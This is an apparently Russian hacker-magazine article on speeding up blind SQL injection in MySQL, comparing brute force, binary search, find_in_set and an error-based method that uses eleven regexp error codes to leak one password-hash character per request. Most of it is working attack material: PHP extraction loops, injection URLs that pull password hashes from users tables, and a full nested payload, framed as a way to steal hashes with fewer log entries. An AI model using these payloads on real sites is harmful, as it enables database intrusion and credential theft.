Содержание статьи
Каждый раз, натыкаясь на слепую SQL-инъекцию, ты представляешь себе долгие
минуты ожидания получения результатов из базы. Все знают, что процесс работы
ускорить невозможно. Да неужели? Прочитав эту статью, ты заставишь свои инъекции
отрабатывать по максимуму и станешь реальным SQL-гуру.
Основной проблемой при работе с Blind SQL Injection является огромное
количество запросов, которое необходимо послать на сервер для получения символов
из БД.
А соответственно - долгое время работы скрипта и большое количество записей в
логах. Вручную получать данные из БД практически нереально, поэтому процесс
работы с такими инъекциями нужно автоматизировать. Сейчас мы рассмотрим
некоторые варианты подобной автоматизации.
Полный перебор
Это самый простой, самый тупой и самый медленный способ получения символов из
базы данных. Для получения обычного MD5-хеша может потребоваться отправить до
512 запросов на сервер, а для получения логина - еще больше. Именно этот метод
новички применяют в своих первых эксплойтах. Реализация указанного способа
выглядит приблизительно так:
for($i=1;$i<=32;$i++)
for($j=1;$j<=255;$j++){
$res = send(
$url,
"sql.php?id=if(ascii(substring((select+passhash+from+users+where+id=0),$i,1))=$j,(select+1+union+select+2),'1')"
);
if(!preg_match('/Subquery returns/', $res) {
echo $j;
continue;
}
}
Принцип работы прост - для каждого символа сравниваем значение его ASCII-кода
со всеми возможными значениями символов. Если выполняется некоторое условие, то
символ найден, и его можно выводить на экран. Если условие не выполняется - ищем
дальше.
Очевидно, что плюсов у этого метода нет. Совсем. За исключением того, что
накалякать код такого скрипта очень просто. Но разве это то, что нужно
настоящему хакеру? Оставим этот способ киддисам и будем двигаться дальше.
Бинарный (двоичный) поиск
Каждый уважающий себя программист знает о методе под названием бинарный,
или двоичный, поиск. Этот метод используется для поиска позиции элемента в
отсортированном массиве. И именно он применяется почти во всех адекватных
скриптах, программах и эксплойтах, работающих со слепыми SQL-инъекциями.
- Берем диапазон всех возможных символов (для хеша MD5 - [0-9,a-f]) и
сравниваем значение кода символа в БД с кодом символа, который мы передали в
запросе. - Если код символа в БД больше, чем код переданного символа, то на следующем
шаге в качестве диапазона возможных символов берем диапазон от символа, с
которым мы только что сравнивали значение в БД, до правой границы предыдущего
диапазона и идем на шаг 1. - Если код символа меньше, то берем диапазон от текущего символа до левой
границы диапазона на предыдущем шаге и идем на шаг 1. - Если символ не больше и не меньше, то мы как раз его и нашли.
А если рассматривать реализацию на языке программирования, то вот пример
функции, реализующей поиск нужного символа этим методом:
function getChar($url, $field, $pos, $lb=0, $ub=255)
{
while(true) {
$M = floor($lb + ($ub-$lb)/2);
if(cond($url, $field, '<', $pos, $M)==1) {
$ub = $M - 1;
}
else if(cond($url, $field, '>', $pos, $M)==1) {
$lb = $M + 1;
}
else
return chr($M);
if($lb > $ub)
return -1;
}
}
Рассмотрим этот способ на примере получения из базы MD5-хеша юзера. При этом
учтем следующие условия:
- Диапазон возможных символов: 0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f.
- В БД находится символ: 'b'.
Запускаем алгоритм:
- Находим середину диапазона [0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f]; серединой
является символ '8'. - Сравниваем, – код символа 'b' больше или меньше, чем код символа '8'?
(шлем запрос). - Код больше, поэтому на следующую итерацию уже берем диапазон
[8,9,a,b,c,d,e,f]; серединой является символ 'с'. - Сравниваем, – код символа 'b' больше или меньше, чем код символа 'с'?
(шлем запрос). - Код меньше, поэтому на следующую итерацию берем диапазон [8,9,a,b,c];
серединой является символ 'a'. - Сравниваем, – код символа 'b' больше, чем код символа 'a'? (шлем запрос).
- Код больше, поэтому на следующую итерацию берем диапазон [a,b,c];
серединой является символ 'b'. - Сравниваем, – код символа 'b' больше или меньше, чем код символа 'b'?
(шлем запрос). - Код ни больше и не меньше, значит, символ в БД = 'b'
Таким образом, в зависимости от конкретной реализации алгоритма, мы
отправляем до 5-6 запросов на определение символа. И это в худшем случае, так
как символ может найтись и раньше. Итого получаем примерно 160-170 запросов на
получение MD5-хеша. Уже лучше, но зачем останавливаться на достигнутом, если
можно действовать еще быстрее?
Использование find_in_set() и подобных функций
Функция find_in_set(str,strlist) используется для поиска подстроки
среди списка строк, разделенных символом ',' и возвращает номер той строки из
списка, которая равна переданному аргументу. То есть:
mysql> SELECT FIND_IN_SET('b','a,b,c,d');
-> 2
Код символа из базы данных можно узнать при помощи запроса:
select find_in_set((substring((select password from users limit
1),1,1)),'0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f');
В результате мы получаем номер символа во множестве
'0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f'. К примеру, для символа 'b', этот запрос
вернет 12.
А теперь подумаем, что же можно из этого выжать? Для того чтобы принять
результаты запроса, мы должны как-то научиться принимать числа, являющиеся
результатом. Но непосредственно при слепой SQL-инъекции мы этого сделать не
можем. А что, если мы имеем дело с инъекцией, к примеру, в скрипте отображения
новостей, и в зависимости от id, переданного скрипту, будем видеть разные
странички? Тогда боевой запрос, нужный для получения символов из MD5, будет
выглядеть вот так:
news.php?id=find_in_set(substring((select passhash from users limit
0,1),1,1),'0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f')
Тогда, в зависимости от номера символа в строке
'0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f', мы будем видеть новость с id, соответствующим
символу пароля.
Для удобства использования на практике нужно:
- Выделить ключевые слова на страницах с нужными id.
- Отправить запросы с find_in_set для каждого символа из БД.
- Выяснить, страницу с каким id мы получили и вывести на экран код символа.
То есть, для получения MD5-хеша, нам потребуется выявить 16 страниц с
уникальными id, по одной странице для каждого символа алфавита, а также
отправить 32 запроса для определения значения каждого символа. В итоге, при
использовании этого метода нам потребуется отправить всего 48 запросов на
сервер, 16 из которых никакого подозрения читающего логи админа вызвать не
могут.
Изначально этот метод предложили +toxa+ и madnet. Они же заметили, что помимо
функции find_in_set для реализации подобной атаки можно использовать функции
LOCATE(),INSTR(),ASCII(),ORD(). Причем, ASCII() и ORD() даже предпочтительнее за
счет того, что они присутствуют не только в MySQL.
Способ работает быстро, но обладает рядом недостатков. К примеру, на сайте
идентификаторы новостей могут быть распределены неравномерно, то есть скрипт
приходится затачивать под каждый сайт индивидуально. Еще одной проблемой
является то, что для большого количества символов в алфавите нужно большое
количество уникальных страниц, которые не всегда присутствуют.
В общем, мотаем на ус и двигаемся дальше.
Использование find_in_set() + more1row
Если хорошенько поиграться с методом, предложенным выше, можно заметить, что
все его минусы сводятся к тому, что далеко не на всех сайтах возможно получить
достаточное количество различных страниц, зависящих от одного параметра. Решим
эту проблему. Вспомним метод,
предложенный Elekt'ом
в ][ #111, который основан на использовании ошибки "Subquery returns more
than 1 row".
Суть метода
заключается в том, чтобы заставить скрипт выводить ошибку SQL в зависимости от
результата SQL-запроса. На данный момент, чтобы спровоцировать БД на вывод
ошибки, наиболее часто используется запрос:
SELECT 1 UNION SELECT 2
– который вернет ошибку:
#1242 - Subquery returns more than 1 row
Также ZaCo нашел альтернативный вариант запроса, который провоцирует БД на
вывод ошибки в зависимости от условия:
"x" regexp concat("x{1,25", if(@@version<>5, "5}", "6}")
В том случае, если версия MySql не равна 5, этот запрос вернет ошибку:
#1139 - Got error 'invalid repetition count(s)' from regexp
Немного порывшись в исходниках MySql и погуглив, можно найти еще 9 ошибок,
которые возвращает неправильный regexp. Итого, от сервера мы можем получить 11
видов ошибок + 1 состояние, когда ошибки нет:
SELECT 1
No error
select if(1=1,(select 1 union select 2),2)
#1242 - Subquery returns more than 1 row
select 1 regexp if(1=1,"x{1,0}",2)
#1139 - Got error 'invalid repetition count(s)' from regexp
select 1 regexp if(1=1,"x{1,(",2)
#1139 - Got error 'braces not balanced' from regexp
select 1 regexp if(1=1,'[[:]]',2)
#1139 - Got error 'invalid character class' from regexp
select 1 regexp if(1=1,'[[',2)
#1139 - Got error 'brackets ([ ]) not balanced' from regexp
select 1 regexp if(1=1,'(({1}',2)
#1139 - Got error 'repetition-operator operand invalid' from regexp
select 1 regexp if(1=1,'',2)
#1139 - Got error 'empty (sub)expression' from regexp
select 1 regexp if(1=1,'(',2)
#1139 - Got error 'parentheses not balanced' from regexp
select 1 regexp if(1=1,'[2-1]',2)
#1139 - Got error 'invalid character range' from regexp
select 1 regexp if(1=1,'[[.ch.]]',2)
#1139 - Got error 'invalid collating element' from regexp
select 1 regexp if(1=1,'\\',2)
#1139 - Got error 'trailing backslash (\)' from regexp
Пока просто примем это во внимание. Теперь самое время вспомнить о функции
find_in_set. Если искомый символ есть во множестве подстрок, она вернет номер
подстроки, если нет - вернет 0. Попробуем привязать результат работы этой
функции к различным кодам ошибок и передадим вот такой запрос:
select * from users where id=-1
AND "x" regexp
concat("x{1,25",
if(
find_in_set(
substring((select passwd from users where id=1),1,1),
'a,b,c,d,e,f,1,2,3,4,5,6'
)>0,
(select 1 union select 2),
"6}"
)
)
В результате, если первый символ пароля находится во множестве
'a,b,c,d,e,f,1,2,3,4,5,6', то запрос вернет:
#1242 - Subquery returns more than 1 row
А если не находится, то:
#1139 - Got error 'invalid repetition count(s)' from regexp
При каждом запросе по коду ошибки мы можем узнать, к какой группе принадлежит
символ!
Напишем скрипт, использующий данный метод. Для составления оптимального
запроса нужно сгруппировать символы алфавита так, чтобы количество обращений к
серверу было минимальным. Рассмотрим задачу на примере MD5. Мы знаем, что у нас
могут присутствовать только символы из диапазона [0-9,a-f]. Также мы знаем, что
количество групп символов равно двенадцати, ведь всего наш запрос может вернуть
одиннадцать видов ошибок и одно состояние, когда ошибки нет. Для случая с MD5
оптимальной расстановкой символов по состояниям, к примеру, будет:
[01]: '0','b','c','d','e','f'
[02]: '1'
[03]: '2'
[04]: '3'
[05]: '4'
[06]: '5'
[07]: '6'
[08]: '7'
[09]: '8'
[10]: '9'
[11]: 'a'
При каждом запросе к серверу мы узнаем номер группы, в которой находится
символ, хранящийся в БД. В итоге, если символ находится в группах 02-11, – мы
узнаем значение этого символа с помощью всего одного запроса. Если нам не
повезло и символ находится в группе 01, то перед отправкой следующего запроса,
рассортируем символы из этой группы по состояниям и сразу же узнаем значение
интересующего нас символа:
[01]: '0'
[02]: 'b'
[03]: 'c'
[04]: 'd'
[05]: 'e'
[06]: 'f'
Итоговый алгоритм работы по этому методу выглядит несложно:
- Оптимально распределить символы алфавита по группам.
- Установить соответствия между номером группы и возвращаемым кодом ошибки.
- По возвращенному коду ошибки выяснить, в какой группе находится символ из
БД. - Если в этой группе только один символ, то выводим его на экран; если
больше, чем один символ, то распределим символы из группы по состояниям и
возвращаемся к шагу 2.
В соответствии с алгоритмом составляем запрос. И замечаем, что ошибки,
которые мы собираемся использовать, обладают парой особенностей.
Первая заключается в том, что запрос
"x" regexp concat("x{1,25", if(@@version<>5, "5}", "6}")
вернет нужную нам ошибку, только если мы его будем передавать на сервер
именно в таком виде. То есть, все вложенные условия нужно добавлять внутрь этого
if, а также в начале всех остальных выражений regexp нужно добавлять символ "}".
Иначе, независимо от содержания остальных подзапросов, мы будем получать лишь
ошибку: "#1139 - Got error 'repetition-operator operand invalid' from regexp".
Вторая особенность заключается в том, что запрос
select 1 regexp if(1=1,'',2)
возвращающий ошибку "Got error 'empty (sub)expression' from regexp",
работает, как хочется нам только при наличии пустого подзапроса в regexp или
так: 'a|', когда после символа '|' отсутствует что бы то ни было. Поэтому, с
учетом первой особенности, будем использовать именно этот вид подзапроса.
Теперь попробуем собрать всю известную нам информацию вместе, и для
выуживания MD5-хеша получаем итоговый запрос:
sql.php?id=1+AND+"x"+
regexp+concat("x{1,25",+(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4,5,6,7,8,9,a'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4,5,6,7,8,9'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4,5,6,7,8'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4,5,6,7'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4,5,6'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4,5'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f'),
('}'),
(select+1+union+select+2))),
'}x{1,0}')),
'}x{1,(')),
'}[[:]]')),
'}[[')),
'}(({1}')),
'}|')),
'}(')),
'}[2-1]')),
'}[[.ch.]]')),
'}\\')))
+--+1
В результате, этот запрос не вернет ошибки, если символ из базы данных
является одним из символов '0,c,d,e,f', а вернет ошибку "Subquery returns more
than 1 row", если в базе данных лежит цифра 1. Также запрос вернет ошибку
'invalid repetition count(s)', если в базе лежит символ '2'. И так далее.
Итак, мы добились того, чего хотели - запрос при помощи 11 различных видов
ошибок сообщает нам, какой именно символ лежит в базе данных. Мы получаем
быстродействие, превышающее скорость работы всех остальных методов работы с
Blind SQL Injection. Для выуживания MD5-хеша нам потребуется около 42 запросов,
а это уже на порядок быстрее, чем в тех методах, которые используют сейчас. Мало
того, если найти еще 4 запроса, при которых ошибка будет возникать во время
выполнения, то на получение всего хеша нам потребуется уже 32 запроса. А это
значит – 1 запрос на 1 символ. Раньше о подобном можно было только мечтать.
Понятно, что подобные SQL-обращения крайне тяжело составлять вручную, поэтому
на диске с
журналом ты
найдешь скрипт, который умеет составлять запросы для алфавитов любой длины и при
любом количестве известных ошибок.
Outro
На самом деле, существуют еще возможности ускорить процесс работы со слепыми
SQL-инъекциями. Осталось только их найти. Главное, не зацикливаться на
"дедовских" методах. Относиться ко всему, что придумали хакеры предыдущих
поколений, надо, как к деталям мозаики, сложив которые воедино, можно выйти на
совершенно новый уровень развития технологий взлома.
WARNING
Внимание! Информация представлена исключительно с целью ознакомления! Ни
автор, ни редакция за твои действия ответственности не несут!
WWW
dev.mysql.com/sources/doxygen/mysql-5.1/regerror_8c-source.html - исходники
MySQL, отвечающие за отображение ошибок regexp.
dev.mysql.com/doc -
документация по MySQL (рекомендую).
ru.wikipedia.org/wiki/Двоичный_поиск - базовые алгоритмы надо знать!